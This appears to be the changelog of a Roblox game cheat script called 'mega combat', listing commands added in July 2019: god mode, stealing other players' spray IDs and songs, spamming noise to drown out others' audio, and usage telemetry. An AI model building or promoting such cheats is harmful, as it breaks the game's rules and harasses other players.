- - Added :freeshoot and :unfreeshoot lets you shoot while walking and jumping (defaults to on)
- - Added the ability to run on the telephone wires! (defaults to on) you can toggle this with :togglewirerun
- ==========7/1/2019==========
- - Pride month is over :OOO
- - Added god mode, which I'm pretty sure is originally from gideon. So credits to loqt
- - You can turn on godmode with :god or :godmode and you turn it off with :ungod or :ungodmode
- - You can now remove your face with :rface or :faceless
- - You can now remove your legs with :rlegs
- - Added :stealthshotty and :stealthuzi
- - Fixed animations getting stuck after flying
- - Added :spray PLAYERNAME for stealing people's spray IDs (:stealspray also works)
- - Added :unfind so you can unfind people that you traced with the :find command
- ==========7/2/2019==========
- - Added :eboombox which injects Enhanced Boombox.
- - Once enhanced boombox is injected, you can play other people's audios by typing their names in the boombox GUI then pressing play
- - Enhanced boombox will also automatically convert your asset ids to version ids (basically semi-encryption)
- -
- - Added :song PLAYERNAME for stealing people's songs (:stealsong also works)
- -
- - INFINITE AMMO GOT PATCH LMFAO
- - REMOVED EVERYTHING INFINITE AMMO RELATED (R key, F key, C key, Z key)
- - Removed :wl and :god since both are patched (:wl has no use now that infinite uzi is patched)
- ==========7/4/2019==========
- - Some people are saying godmode isn't patched, I'll add that back later
- - Added :eplay and :erplay (Encrypted play, and Encrypted Regular play)
- - :eplay plays your audios on your character with encryption
- - :erplay plays your audios on your radio with encryption
- ==========7/5/2019==========
- - Added donator role
- - If you donate to the script, you'll get a green name on the leaderboard for other people using the script
- - Re-Added godmode
- - Added the :donate command, which brings up a gui with a list of donation options.
- - Changed the initial donation prompt upon injection of the script
- ==========7/6/2019==========
- - 3 day update streak, let's go boys
- - Added :visualize TOOLNAME
- - Saying ":visualize hat" will do a hat visualizer.
- - Shoutout to hellish, since the visualizer in this script is based off of theirs
- - Added unvisualize to stop your visualizer
- - Reworked :demesh and :rmesh to work better with the visualizer
- ==========7/7/2019==========
- - Added the option to kill yourself with the M key (You need either a glock or a shotty)
- ==========7/8/2019==========
- - Added ":clickspam" and ":unclickspam"
- - :clickspam mass spams the out of ammo noise everywhere (overpowers audios)
- ==========7/9/2019==========
- - Added antivoid (stops people from flinging you automatically) starts working as soon as you run the script
- - Added :stopmusic to stop everyone else's music
- - Added :fix to fix your music after it's been broken by yours, or someone else's :clickspam / :stopmusic
- ==========7/10/2019==========
- - Added something to keep track of how many players use mega combat a day
- ==========7/11/2019==========
- - Added automatic error reports. If you're kicked or banned while using mega combat, I'll know now.
- - Improved antivoid to not error.
- - Fixed bugs on the error reporter
- - Added :rejoin command
- - Fixed mega combat not auto-executing after rejoining with :rejoin or :tostreets command (When in auto-exe folder)
- - Added :tostreets and :toprison to the commands list, since I finally got around to testing if they're safe
- - Added a void toggle on the V key
- - Also added a :void command, which works similarly.
- - Added :disc and :discord commands, which shows a gui with the discord invite, and button for copying it
- - Added Nitro Booster role, nitro boosters will now be shown in purple on the leaderboard
- - Error handler no longer errors due to disconnections from being idle
- - Added (BROKEN) to the title of the notification asking to donate. Due to synapse blocking marketplace functions.
- - Added notification asking users of the script to join the discord :triumph:
- - Added :reset for reseting without killing your character. (More intense of a reset than what's on the P key)
- ==========7/13/2019==========
- - Broke the update streak by missing the 12th :(
- - Added :autoreset which turns on autoreset (When autoreset is on, you'll be reset as soon as you get ragdolled)
- - Added :unautoreset which turns off autoreset
- - Fixed :reset kicking you if you do it while ragdolled.
- - Added :breakneck for snapping your own neck
- - Fixed autoreset since I pushed the update without fully testing it
- --]]
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